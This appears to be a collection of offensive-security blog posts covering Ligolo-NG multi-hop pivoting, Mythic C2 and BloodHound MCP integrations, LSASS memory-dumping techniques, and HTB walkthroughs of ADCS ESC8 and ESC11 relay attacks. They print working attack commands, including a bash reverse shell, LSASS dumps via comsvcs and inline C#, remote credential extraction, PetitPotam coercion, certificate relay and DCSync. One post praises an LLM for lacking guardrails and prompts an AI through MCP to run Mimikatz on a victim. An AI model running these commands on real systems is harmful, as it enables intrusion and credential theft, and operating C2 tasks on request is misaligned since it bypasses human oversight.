[Agent : root@ae83a3c663f6] » listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601
INFO[1841] Listener 0 created on remote agent!          
[Agent : root@ae83a3c663f6] » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444
INFO[1855] Listener 1 created on remote agent!          
[Agent : root@ae83a3c663f6] » listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:8080
INFO[1864] Listener 2 created on remote agent!          
[Agent : root@ae83a3c663f6] »  

These listeners act as forwarding proxies: any incoming connection to the compromised machine on the defined ports will be transparently redirected to the corresponding port on the attacker machine. This makes it possible to reach the Ligolo-NG proxy from network segments that are not directly accessible. The concept becomes clearer in the second pivot.

With this configuration, the first pivot is fully established and the environment is ready to proceed to the second hop.

Second Pivot

Assuming that host 20.20.20.3 has been compromised, the next step is to enumerate its network interfaces:

A new internal network (30.30.30.0/24) is identified. The procedure mirrors that of the first pivot, with the key difference that the attacker machine is no longer directly reachable. Instead, the listeners configured on the first pivot machine (20.20.20.2) are used as the relay point.

Step 1 — Agent transfer:

Start an HTTP server on the attacker machine:

python3 -m http.server 8080

From the compromised machine 20.20.20.3, download the agent by pointing to the file transfer listener on 20.20.20.2:

wget http://20.20.20.2:8080/agent

The connection is directed to 20.20.20.2 because the listener on port 8080 of that machine forwards the traffic to the HTTP server running on the attacker machine.

Step 2 — Agent connection to the proxy:

With the agent available on the machine, establish the connection to the Ligolo-NG proxy through the corresponding listener on 20.20.20.2:

┌──(root㉿ea5b1bf41d71)-[~]
└─# ./agent -connect 20.20.20.2:11601 -ignore-cert

Verify the new session in the proxy:

Step 3 — Route and tunnel configuration:

From the proxy console, select the new agent’s session, define the target network (30.30.30.0/24), assign a name to the virtual interface (e.g., pivot02), and start the tunnel:

The second pivot is now established. Validate connectivity:

Step 4 — Listener creation for the next hop:

Repeat the listener configuration on this new session. Since each listener is created in the context of the compromised machine, there is no port conflict between different agents.

[Agent : root@ea5b1bf41d71] » listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601
INFO[3361] Listener 0 created on remote agent!          
[Agent : root@ea5b1bf41d71] » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444
INFO[3364] Listener 1 created on remote agent!          
[Agent : root@ea5b1bf41d71] » listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:8080
INFO[3366] Listener 2 created on remote agent!          
[Agent : root@ea5b1bf41d71] »  

Third Pivot

After compromising a host on the 30.30.30.0/24 segment, the network is enumerated again and another internal segment (40.40.40.0/24) is discovered:

The procedure remains identical: transfer the agent through the listener on the second pivot machine (30.30.30.2), connect it to the proxy via the Ligolo-NG listener, configure the route to the new network, and create the corresponding listeners.

Agent transfer:

python3 -m http.server 8080

wget http://30.30.30.2:8080/agent

Proxy connection:

./agent -connect 30.30.30.2:11601 -ignore-cert

Route configuration:

Select the new session in the proxy, define 40.40.40.0/24 as the target network, and assign the name pivot03 to the virtual interface:

Verification:

Listeners for the third pivot:

[Agent : root@ec1ec03f8a74] » listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601
INFO[4016] Listener 0 created on remote agent!          
[Agent : root@ec1ec03f8a74] » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444
INFO[4018] Listener 1 created on remote agent!          
[Agent : root@ec1ec03f8a74] » listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:8080
INFO[4020] Listener 2 created on remote agent!        

Receiving a Reverse Shell from a Deep Network

Assume that a webshell has been identified on host 40.40.40.3. The goal is to obtain an interactive session via a reverse shell. Since this host resides in a deeply nested network segment, establishing a direct connection to the attacker machine is not possible.

To solve this, the listener configured on port 4444 across the entire pivot chain is leveraged. The connection traverses the tunnel transparently until it reaches the attacker machine.

Open the listener on the attacker machine:

nc -lvnp 4444

From the webshell on 40.40.40.3, execute:

bash -c 'bash -i >& /dev/tcp/40.40.40.2/4444 0>&1'

The reverse shell is successfully received on the attacker machine, completing the pivoting chain across all three internal network segments.

Recommendations

A few additional recommendations based on practical experience:

Read the post from my colleague Gzzcoo — his writeup covers complementary aspects of Ligolo-NG and is a valuable reference:

https://blog.gzzcoo.com/posts/ligolo-ng/

Practice with ProLabs — environments like the following are ideal for developing and reinforcing pivoting skills in realistic multi-segment network scenarios:

Dante, Zephyr, Offshore

Always draw a network diagram — this is a critical habit that is easy to overlook. Before executing any pivot, map out the full topology: where each agent is deployed, which machine to point to for file transfers, where to direct connections for the next hop, and where reverse shells should land. A clear visual reference prevents costly mistakes and significantly reduces cognitive overhead during complex engagements.

“The more I learn, the more I realize how much I don’t know.” — Albert Einstein

A few days ago I was working through an AI Offensive course where I covered several interesting topics. Some of them I had already explored on my own out of curiosity, but studying a subject more than once reinforces the concepts and improves retention. In this case, I will focus on the integration of a Mythic C2 MCP server with OpenCode, my current LLM of choice.

I previously used Claude — the course itself uses it — but I repeatedly ran into guardrails that block anything related to C2 infrastructure, implants, malware, and similar topics, which limits the learning experience considerably. OpenCode does not impose the same restrictions, making it the tool I rely on most for assistance with tooling syntax, language-specific questions, payload concepts, and similar offensive research tasks.

This post covers exactly that: integrating a Mythic C2 MCP server with OpenCode.

Architecture

The diagram above illustrates the full attack chain enabled by this integration. All components on the left side — the attacker’s terminal, OpenCode, the Mythic MCP server, and the Mythic C2 platform — run on Linux. The victim endpoint runs on Windows.

The flow operates as follows:

1. Attacker → OpenCode: The operator issues natural language instructions directly from the terminal. There is no need to memorise API calls or navigate a web interface.
2. OpenCode → Mythic MCP Server: OpenCode routes the request to the Mythic MCP server via the Model Context Protocol. The MCP server exposes Mythic’s functionality as a set of structured tools that the LLM can invoke.
3. Mythic MCP Server → Mythic C2 Platform: The MCP server translates the operator’s intent into concrete API calls against Mythic’s GraphQL/REST interface, querying session data, issuing tasks, or retrieving collected output.
4. Mythic C2 Platform → Victim: Mythic communicates with the implant running on the target machine over the configured C2 profile (HTTP, WebSocket, etc.), executing tasks and returning results back up the chain.

Mythic C2

At a high level, Mythic is an open-source Command and Control (C2) framework for red team operations and the spiritual successor to Apfell/Apollo. Its main characteristics:

• Architecture: Docker-based (server, PostgreSQL, RabbitMQ, web UI)
• Modular design: separates C2 Profiles (channels: HTTP, DNS, WebSocket, SMB…) from Payload Types/Agents (Apollo, Poseidon, Medusa…)
• Web interface: real-time dashboard, per-implant interactive terminal, network graph
• API: REST + GraphQL for automation and external tool integration
• Multi-operator: collaborative operations with centralized logging
• Task model: asynchronous command execution, useful for realistic C2 traffic simulation

It is used in authorized adversary simulation exercises covering post-exploitation, persistence, and lateral movement — primarily to evaluate EDR/SIEM detection and response capabilities.

Installation

Note: Use a Linux host machine or WSL to make this tool work properly.

Step 1: Verify system prerequisites

sudo apt update && sudo apt upgrade -y
docker --version
docker-compose --version

Step 2: Clone the official repository

git clone https://github.com/its-a-feature/Mythic.git
cd Mythic

sudo make

Step 3: Start all Mythic services

sudo ./mythic-cli start

Step 4: Verify that all services are running correctly

sudo ./mythic-cli status

Step 5: Retrieve administrator credentials

sudo ./mythic-cli config get admin_user
sudo ./mythic-cli config get admin_password

Step 6: Install agents

Install additional payload types directly from their GitHub repositories:

sudo ./mythic-cli install github https://github.com/MythicAgents/apfell
sudo ./mythic-cli install github https://github.com/MythicAgents/apollo
sudo ./mythic-cli install github https://github.com/MythicAgents/poseidon

Step 7: Install C2 profiles

sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/websocket

OpenCode

Installing OpenCode is straightforward — a single command from the documentation is all it takes:

curl -fsSL https://opencode.ai/install | bash

MCP for Mythic C2

To integrate the Mythic MCP server with OpenCode, follow these steps:

Step 1: Install uv

uv is the Python package manager used to run the MCP server in an isolated environment:

curl -LsSf https://astral.sh/uv/install.sh | sh

Step 2: Clone the MCP server repository

The Mythic MCP server was developed by @xpn and is available on GitHub:

git clone https://github.com/xpn/mythic_mcp

Step 3: Locate the uv binary path

Since OpenCode’s config requires the absolute path to the uv binary, identify it first:

which uv

Step 4: Configure OpenCode

OpenCode is configured via a JSON file. Add the Mythic MCP server entry using the absolute paths from the previous step. The command array passes the Mythic credentials directly as arguments to main.py:

{
  "$schema": "https://opencode.ai/config.json",
  "mcp": {
    "mythic_mcp": {
      "type": "local",
      "command": [
        "/home/iamwin/.local/bin/uv",
        "--directory",
        "/home/iamwin/Desktop/mythic_mcp",
        "run",
        "main.py",
        "mythic_admin",
        "<YOUR_MYTHIC_PASSWORD>",
        "localhost",
        "7443"
      ],
      "enabled": true
    }
  }
}

Replace the uv path, the --directory path, and <YOUR_MYTHIC_PASSWORD> with your actual values.

This is a local lab environment, so the credentials shown above are not sensitive.

With all of the above in place, the Mythic MCP server is connected and ready. We can now use it from OpenCode to interact with our Mythic C2 instance in natural language.

Functional Tests

Upon launching OpenCode, the MCP server is displayed as active, confirming that the integration was successful:

To validate the full workflow, we generate a Windows implant using the Apollo agent with an HTTP C2 profile, which will be delivered to the target machine.

Once the implant is executed on the target, the callback registers in Mythic’s Active Callbacks tab and we can begin interacting with the compromised host through the MCP.

Prompt 1 — Query active agents:

What are the active agents in the Mythic C2? Use the Mythic MCP.

Prompt 2 — Retrieve detailed session information:

List all information about the active agent using the MCP.

Prompt 3 — Task execution via natural language:

Given that we have SYSTEM on ENGG, I have placed Mimikatz at C:\RT\m\x64\m.exe — dump everything and return the relevant results.

From this point, the operation can continue entirely through natural language prompts — the MCP handles the translation into Mythic API calls automatically.

Thanks for reading — I hope this is useful. If you have any questions, suggestions, corrections, or simply want to share something about this topic, my socials are on this blog — feel free to reach out.

Closing quote:

“Simplicity is the ultimate sophistication.”

— Leonardo da Vinci

In the field of offensive security and Red Teaming, memory credential access remains one of the most common vectors for achieving lateral movement within a Windows environment. Historically, Mimikatz (developed by Benjamin Delpy) has been the go-to tool for extracting credentials from the LSASS (Local Security Authority Subsystem Service) process.

However, in modern enterprise environments, Mimikatz signatures are heavily detected by antivirus solutions, Windows Defender, and EDRs. To understand how these activities are protected and detected, it is essential to understand how LSASS memory dumps can be performed using native operating system tools (LOLBins) or legitimate administrative utilities, avoiding the use of well-known offensive tools.

What is LSASS and why is it critical?

The Local Security Authority Subsystem Service (lsass.exe) is a Windows system process responsible for local security policy, user authentication, and session management.

It is a critical target for attackers because it holds in memory highly sensitive authentication data for accounts with active sessions on the machine:

• NTLM hashes and, in some cases, cleartext passwords (security providers such as WDigest).
• Kerberos tickets (TGT and TGS).
• Access tokens of logged-in users.

Extracting this process’s memory allows analyzing it offline (commonly with Mimikatz or similar tools) to recover these credentials and facilitate lateral movement within a domain.

Requirements

To successfully perform an LSASS memory dump (regardless of the native or manual method used), the following conditions must be met on the target system:

• Elevated Privileges: Tools must be executed in a Local Administrator or SYSTEM context.
• SeDebugPrivilege Enabled: The process performing the dump must have the debug privilege (SeDebugPrivilege) enabled in order to open a handle to lsass.exe.
• LSA Protection (RunAsPPL) Disabled: Conventional memory dump methods assume that LSA security is not configured as a protected process (RunAsPPL), as this would block access at the kernel level.

LSASS Dump Alternatives

1. Windows Task Manager

Allows generating a full memory dump of any running process from the Windows graphical interface.

Step by step:

1. Open Task Manager (taskmgr.exe) with administrator privileges.
2. Go to the Details tab, find lsass.exe, right-click it and select Create dump file.
3. The .dmp file will be saved in the temp path: %TEMP%\lsass.dmp (typically C:\Users\<User>\AppData\Local\Temp\lsass.dmp).

Technical detail: Internally, Task Manager calls the MiniDumpWriteDump function exported by dbghelp.dll to dump the target process memory.

The file is saved at that path — navigate to it to find the .DMP file.

Afterwards, transfer the file to a Kali Linux attack machine and use tools like pypykatz to parse the dump:

┌──(iamwin㉿APTAI)-[~]
└─$ pypykatz lsa minidump lsass.DMP 

2. comsvcs.dll (Process Explorer)

comsvcs.dll is a Windows library that contains several diagnostic functions, including one that allows obtaining a memory dump of a process. This library is used by legitimate Microsoft tools such as Process Explorer.

Step by step:

# Get the PID of the lsass process
$lsass = Get-Process lsass

# Perform the dump using rundll32.exe
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\temp\lsass.dmp full

This dumps the memory to a lsass.dmp file in the C:\temp directory.

Follow the same process with pypykatz to extract the credentials.

3. ProcDump (Sysinternals)

ProcDump is a Sysinternals tool used to dump a process’s memory.

Step by step:

Download the .exe:

https://learn.microsoft.com/en-us/sysinternals/downloads/procdump

.\procdump.exe -accepteula -ma lsass.exe C:\temp\lsass_procdump.dmp

4. PowerShell C# Reflection: MiniDumpWriteDump Without External Binaries

A technique that leverages PowerShell’s ability to compile C# code at runtime (inline compilation), directly invoking the MiniDumpWriteDump function from dbghelp.dll via P/Invoke. It does not require downloading external tools or leaving artifacts on disk, making it harder to detect through static AV/EDR signatures.

Step by step:

$code = @"
using System;
using System.IO;
using System.Runtime.InteropServices;

public class LsassDump {
    [DllImport("dbghelp.dll")]
    public static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, SafeHandle hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
    
    public static void Dump() {
        var proc = System.Diagnostics.Process.GetProcessesByName("lsass")[0];
        var file = File.Create("C:\\temp\\lsass_api.dmp");
        MiniDumpWriteDump(proc.Handle, proc.Id, file.SafeFileHandle, 2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
        file.Close();
    }
}
"@

Add-Type -TypeDefinition $code
[LsassDump]::Dump()

5. Lsassy

A tool that allows remotely dumping LSASS memory over SMB, without needing to execute commands on the target system. It uses the lsarpc pipe or temporary services to extract and automatically parse the memory.

Step by step:

┌──(iamwin㉿APTAI)-[~]
└─$ lsassy -d infrati.local -u Administrador -p 'Administrator123!' 10.10.20.10

Lsassy extracts NTLM hashes, SHA1 hashes, cleartext passwords, Kerberos tickets (TGT), and domain masterkeys — all remotely without touching the machine locally.

Worth noting: it also extracts Kerberos tickets in .kirbi format.

6. NetExec –lsa (Remote LSA Secrets Extraction) — Complementary Technique

A technique that allows extracting LSA (Local Security Authority) registry secrets via SMB without needing to dump LSASS memory. Unlike memory dumps, this technique queries secrets stored in the system registry through the lsarpc pipe.

Step by step:

┌──(iamwin㉿APTAI)-[~]
└─$ nxc smb 10.10.20.10 -u Administrador -p 'Administrator123!' --lsa 

Extracts machine account hashes, AES keys, DPAPI keys, and cleartext passwords from the registry. No binaries are executed on the target system — everything is performed remotely over SMB.

Difference from lsassy: NetExec --lsa queries registry secrets via RPC, while lsassy dumps the LSASS process memory. Both are complementary: one retrieves registry secrets, the other retrieves hashes and tickets from memory.

Thanks for reading — I hope this is useful. If you have any questions, suggestions, corrections, or simply want to share something about this topic, my socials are on this blog — feel free to reach out.

Closing quote:

“I would rather have questions that can’t be answered than answers that can’t be questioned.”

— Richard Feynman

About 2 weeks ago I found out about the existence of an MCP (Model Context Protocol) server for BloodHound that allows us to integrate it with Claude. Below I share the publications I read on the topic:

SpecterOps article: BloodHound MCP: One Year Later — What I Learned About MCPs, Models, and Context

GitHub Repository: BloodHound MCP - GitHub Repository

What is this?

The BloodHound MCP allows you to query your Active Directory data in natural language directly from Claude Desktop. Instead of writing Cypher queries manually, you ask Claude things like “show me all Domain Admins” or “find kerberoastable users.”

Prerequisites

• Claude Desktop (Pro plan)
• BloodHound Community Edition running locally
• Data already imported into BH CE (output from RustHound or bloodhound-python)
• Git or GitHub access to download the repo

Worth mentioning that I have also seen colleagues use it with other LLMs, so I will be researching further and sharing anything interesting I find.

Implementation

Step 1: Clone the repository

git clone https://github.com/mwnickerson/bloodhound_mcp.git
cd bloodhound_mcp

Step 2: Generate the API Token in BH CE

In the BloodHound UI:

My Profile → Authentication : Api Key Management → Create Token

Save the KEY & ID values.

Step 3: Create the .env file

Inside the cloned repository folder, create a .env file:

@"
BLOODHOUND_DOMAIN=localhost
BLOODHOUND_TOKEN_KEY=your-token-key-here
BLOODHOUND_TOKEN_ID=your-token-id-here
BLOODHOUND_PORT=8080
BLOODHOUND_SCHEME=http
"@ | Out-File -FilePath .env -Encoding utf8

Fill in the values generated in Step 2.

Step 4: Install uv

On PowerShell:

powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex"

On Linux:

curl -LsSf https://astral.sh/uv/install.sh | sh

With uv installed, we can now proceed to integrate the BloodHound MCP with Claude Desktop.

Step 5: Configure Claude Desktop

Open Claude Desktop:

Settings → Developer → Edit Config

This will open the configuration files. The one we need to modify is claude_desktop_config.json — add the following:

{
  "mcpServers": {
    "bloodhound_mcp": {
      "command": "uv",
      "args": [
        "--directory",
        "D:\\bloodhound_mcp",
        "run",
        "main.py"
      ]
    }
  }
}

Make sure the args path points to the correct directory where you cloned the repository.

Step 6: Restart Claude Desktop

Close Claude Desktop completely from the system tray (right-click → Quit, not just the X) and reopen it.

Functional Tests

Now it is time to test it. The first thing to do is upload a .zip generated by any collector (RustHound, SharpHound, etc.):

Now, from Claude Desktop:

Conclusions

The integration of BloodHound MCP with Claude Desktop makes a significant difference in the speed at which we can interrogate Neo4j during an Active Directory audit:

• Cypher Abstraction: Eliminates the need to memorize complex Cypher queries for quick lookups.
• Speed and Convenience: Querying attack paths or critical accounts in natural language dramatically accelerates the analysis phase.
• Professional Judgment: Remember that AI is a co-pilot. Always manually verify the paths suggested by Claude to rule out hallucinations or misinterpretations.

References

• BloodHound MCP - GitHub Repository
• SpecterOps - BloodHound MCP: One Year Later

Thanks for reading — I hope this is useful. If you have any questions, suggestions, corrections, or simply want to share something about this topic, my socials are on this blog — feel free to reach out.

Closing quote:

“We can only see a short distance ahead, but we can see plenty there that needs to be done.”

— Alan Turing

ESC8 is an AD CS vulnerability where the Certificate Enrollment Web Service is enabled over HTTP (without HTTPS). This allows intercepting a Domain Controller’s authentication and relaying it to the CA to request a certificate. With that certificate we can impersonate the DC, perform DCSync, and take full control of the domain.

Requirements

• Valid domain user credentials (Rosie.Powell:Cicada123)
• The CA has Web Enrollment over HTTP enabled
• NTLM disabled in the domain (authentication must use Kerberos)
• Machine Account Quota > 0 (allows adding DNS records, default is 10)

Step-by-step Walkthrough

1. Initial Setup

Ensure correct DNS resolution in /etc/hosts:

echo "10.129.28.63 DC-JPQ225.cicada.vl DC-JPQ225 cicada.vl" | sudo tee -a /etc/hosts

Obtain a Kerberos TGT (Ticket Granting Ticket) for the user:

impacket-getTGT cicada.vl/Rosie.Powell:Cicada123 -dc-ip 10.129.28.63
export KRB5CCNAME=Rosie.Powell.ccache

2. Enumerate AD CS with Certipy

certipy find -k -u Rosie.Powell@cicada.vl -p Cicada123 -dc-ip 10.129.28.63 -target DC-JPQ225 -vulnerable -stdout

Relevant output:

CA Name: cicada-DC-JPQ225-CA
Web Enrollment HTTP: Enabled
[!] ESC8: Web Enrollment is enabled over HTTP.

3. Why add a marshaled DNS record?

When NTLM is disabled, we cannot perform a traditional NTLM relay. We need Kerberos relay, but there is a problem: a Kerberos ticket is encrypted for a specific SPN. If the DC connects to attacker.cicada.vl, the KDC issues a ticket for HOST/attacker.cicada.vl, which cannot be used to authenticate against AD CS.

The trick (discovered by James Forshaw - Project Zero):

A hostname with a special suffix (marshaled target info) is used. When the DC resolves that name via DNS:

1. DNS resolves it to our IP (10.10.16.107)
2. Windows SSPI sees the extra suffix, recognizes it as CREDENTIAL_TARGET_INFORMATION, parses and removes it
3. The original DC SPN remains (e.g., cifs/DC-JPQ225.cicada.vl)
4. The DC requests a ticket for itself (its own legitimate SPN)
5. The TCP connection reaches our machine (because DNS points to our IP)
6. We receive the DC’s ticket and relay it to AD CS

The suffix 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA is the DC’s serialized SPN.

Technical references:

• Project Zero - Using Kerberos for Authentication Relay Attacks
• Synacktiv - Relaying Kerberos over SMB using krbrelayx

4. Add the marshaled DNS record to AD DNS

bloodyAD --host DC-JPQ225.cicada.vl -d cicada.vl -u Rosie.Powell -p Cicada123 -k add dnsRecord "DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" 10.10.16.107

• --host: target DC
• -d: domain
• -u/-p: credentials
• -k: use Kerberos (because NTLM is disabled)
• add dnsRecord: adds a DNS record in AD
• The label includes a marshaled suffix that enables the Kerberos relay

Verify the record resolves correctly:

dig @10.129.28.63 DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.cicada.vl +short
# Should return: 10.10.16.107

Explanation: Without the marshaled suffix, the DC would request a ticket for our SPN. With the suffix, Windows interprets it as marshaled target info, extracts it, and the ticket is issued for the DC’s original SPN. DNS resolves the entire string to our IP, so the TCP connection arrives at our machine.

5. Start the Certipy relay

sudo certipy relay -target http://DC-JPQ225.cicada.vl -ca cicada-DC-JPQ225-CA -template DomainController

• -target: HTTP endpoint of the CA (Web Enrollment)
• -ca: Certificate Authority name
• -template DomainController: template used to request the certificate

Note: sudo is required because it binds to port 445 (SMB).

Expected output:

[*] Targeting http://DC-JPQ225.cicada.vl/certsrv/certfnsh.asp (ESC8)
[*] Listening on 0.0.0.0:445
[*] Setting up SMB Server on port 445

If port 445 is occupied (by Samba, Responder, or another relay tool):

sudo ss -ltnp | grep ':445'
sudo systemctl stop smbd nmbd

6. Coerce the DC’s authentication

In another terminal, while keeping the relay running:

nxc smb DC-JPQ225.cicada.vl -k -u rosie.powell -p Cicada123 -M coerce_plus -o LISTENER=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PetitPotam

• -M coerce_plus: NetExec module that forces authentication
• LISTENER: our marshaled DNS record
• METHOD=PetitPotam: uses the EfsRpc vulnerability (PetitPotam)

What happens internally?

1. NetExec uses Kerberos to authenticate to the DC
2. Sends an RPC request to EfsRpcAddUsersToFile (PetitPotam)
3. The DC attempts to authenticate against the listener (our machine) via a UNC path
4. DNS resolves the listener to our IP
5. The SMB connection (on port 445) reaches the certipy relay
6. Certipy receives the authentication and relays it to the CA’s HTTP endpoint
7. The CA issues a certificate using the DomainController template

Expected output in the relay:

[*] Targeting http://DC-JPQ225.cicada.vl/certsrv/certfnsh.asp (ESC8)
[*] Listening on 0.0.0.0:445
[*] Setting up SMB Server on port 445
[*] (SMB): Received connection from 10.129.28.63, attacking target http://DC-JPQ225.cicada.vl
[*] HTTP Request: GET http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp "HTTP/1.1 401 Unauthorized"
[*] HTTP Request: GET http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp "HTTP/1.1 401 Unauthorized"
[*] HTTP Request: GET http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp "HTTP/1.1 200 OK"
[*] (SMB): Authenticating connection from /@10.129.28.63 against http://DC-JPQ225.cicada.vl SUCCEED [1]
[*] Requesting certificate for '\\' based on the template 'DomainController'
[*] http:///@dc-jpq225.cicada.vl [1] -> HTTP Request: POST http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp "HTTP/1.1 200 OK"
[*] Certificate issued with request ID 89
[*] Retrieving certificate for request ID: 89
[*] http:///@dc-jpq225.cicada.vl [1] -> HTTP Request: GET http://dc-jpq225.cicada.vl/certsrv/certnew.cer?ReqID=89 "HTTP/1.1 200 OK"
[*] Got certificate with DNS Host Name 'DC-JPQ225.cicada.vl'
[*] Certificate object SID is 'S-1-5-21-687703393-1447795882-66098247-1000'
[*] Saving certificate and private key to 'dc-jpq225.pfx'
[*] Wrote certificate and private key to 'dc-jpq225.pfx'

7. Authenticate with the obtained certificate

certipy auth -pfx dc-jpq225.pfx -dc-ip 10.129.28.63

This extracts from the PFX:

• TGT for the DC machine account (dc-jpq225$)
• NT hash of the DC machine account

Output:

[*] Using principal: 'dc-jpq225$@cicada.vl'
[*] Got TGT
[*] Saving credential cache to 'dc-jpq225.ccache'
[*] Got hash for 'dc-jpq225$@cicada.vl': aad3b435b51404ee...a65952c664e9cf5de60195626edbeee3

8. DCSync — Extract the Administrator hash

export KRB5CCNAME=dc-jpq225.ccache
klist  # Verify the principal is dc-jpq225$@CICADA.VL

impacket-secretsdump -k -no-pass cicada.vl/dc-jpq225\$@DC-JPQ225.cicada.vl -just-dc-user Administrator

• -k: use Kerberos
• -no-pass: no password required (uses the ccache)
• \$: escapes the $ in the shell
• -just-dc-user Administrator: extracts only the Administrator’s hash

What is DCSync? It is an attack that abuses the DRSUAPI (Directory Replication Service) protocol. Normally DCs use it to replicate data between each other. An attacker with replication permissions (as the DC machine account has) can ask the DC to replicate the hashes of any user, including the Administrator.

Output:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:85a0da53871a9d56b6cd05deda3a5e87:::

9. Connect as Administrator

Since NTLM authentication is disabled, we need to request a fresh TGT for the Administrator:

impacket-getTGT cicada.vl/Administrator -hashes :85a0da53871a9d56b6cd05deda3a5e87 -dc-ip 10.129.28.63
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in Administrator.ccache

export KRB5CCNAME=Administrator.ccache

impacket-psexec cicada.vl/Administrator@DC-JPQ225.cicada.vl -k -dc-ip 10.129.28.63 -hashes :85a0da53871a9d56b6cd05deda3a5e87

Or via WinRM:

evil-winrm -r CICADA.VL -u administrator -i dc-jpq225.cicada.vl

References

• Certipy Wiki - ESC8
• Project Zero - Using Kerberos for Authentication Relay Attacks
• Synacktiv - Relaying Kerberos over SMB using krbrelayx
• PetitPotam - Topotam
• BloodyAD - DNS record manipulation

Thanks for reading — I hope this is useful. If you have any questions, suggestions, corrections, or simply want to share something about this topic, my socials are on this blog — feel free to reach out.

Closing quote:

“The greatest enemy of knowledge is not ignorance, it is the illusion of knowledge.”

— Stephen Hawking

ESC11 is a vulnerability in Active Directory Certificate Services (ADCS) that occurs when the RPC interface of the Certificate Authority (CA) — specifically the ICertPassage (MS-ICPR) interface — does not enforce signing or encryption for certificate enrollment requests. This happens because the IF_ENFORCEENCRYPTICERTREQUEST flag is disabled on the CA.

Since no packet signing or encryption is required on this RPC interface, it becomes vulnerable to NTLM Relay attacks. If an attacker manages to coerce the NTLM authentication of a privileged account (such as the machine account of a Domain Controller or a Domain Admin), they can relay that authentication to the CA’s RPC port and request a valid certificate on behalf of the victim.

Why is this critical?

Why do we coerce the DC and not another machine?

We need a certificate using the DomainController template. This template allows unconstrained delegation and provides us with a certificate we can use to authenticate as the Domain Controller itself (DC01$).

The DC01$ account has Enroll permissions on the CA (like any Authenticated User), and the DomainController template is available in the environment.

If we obtain a certificate for DC01$, we can execute the following attack chain:

DC01$ Certificate ──> PKINIT (Request TGT) ──> Extract NT Hash ──> DCSync (NTDS.dit) ──> Admin Hash

1. Request a TGT: We obtain the ticket for DC01$ using the newly issued certificate.
2. Extract the NT hash: We retrieve the machine account hash during the TGT request via PKINIT.
3. Execute DCSync: We use the DC hash against NTDS.dit to dump all domain secrets.
4. Full compromise: We steal the Administrator user hash to gain complete control of the environment.

Scenario

The scenario in which I worked this vulnerability was on the Ghostlink machine from Hack The Box, which presents the following infrastructure:

To elaborate further:

10.10.15.174   Kali-Linux             → Attacker machine
172.16.20.20   gpz-op26-toolkits      → Compromised machine used as a pivot to reach the CA
172.16.20.10   gpz-op26-secure        → CA (Certificate Authority) ghostlink-GPZ-OP26-SECURE-CA
10.129.41.180  DC01.ghostlink.local   → Domain Controller

Phase 1: ADCS Enumeration

First, we need to confirm whether ADCS exists in the domain and whether any CA has the ESC11 vulnerability.

With NetExec we identify that a CA exists in the domain:

➜  Ghostlink nxc ldap dc01.ghostlink.htb -u 'nvirelli' -p u47YUclrDiwWxBheaSzI -M adcs

LDAP   10.129.42.12    389   DC01        [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:ghostlink.htb) (signing:Enforced) (channel binding:When Supported)
LDAP    10.129.42.12   389   DC01        [+] ghostlink.htb\nvirelli:u47YUclrDiwWxBheaSzI
ADCS    10.129.42.12   389   DC01        [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS    10.129.42.12   389   DC01        Found PKI Enrollment Server: gpz-op26-secure.ghostlink.htb
ADCS    10.129.42.12   389   DC01        Found CN: ghostlink-GPZ-OP26-SECURE-CA

The CA is confirmed and found on the gpz-op26-secure machine.

We now check CA vulnerabilities with Certipy:

➜  Ghostlink certipy find -u 'nvirelli@ghostlink.htb' -p 'u47YUclrDiwWxBheaSzI' -dc-host dc01.ghostlink.htb -ns 10.129.41.180 -dns-tcp -vulnerable -stdout
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'ghostlink-GPZ-OP26-SECURE-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'ghostlink-GPZ-OP26-SECURE-CA'
[*] Checking web enrollment for CA 'ghostlink-GPZ-OP26-SECURE-CA' @ 'gpz-op26-secure.ghostlink.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : ghostlink-GPZ-OP26-SECURE-CA
    DNS Name                            : gpz-op26-secure.ghostlink.htb
    Certificate Subject                 : CN=ghostlink-GPZ-OP26-SECURE-CA, DC=ghostlink, DC=htb
    Certificate Serial Number           : 3F4302F3D68A6AAE4B792DB93F31CCE5
    Certificate Validity Start          : 2026-03-03 16:52:14+00:00
    Certificate Validity End            : 2126-03-03 17:02:12+00:00
    Web Enrollment
      HTTP
        Enabled                         : True
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Disabled
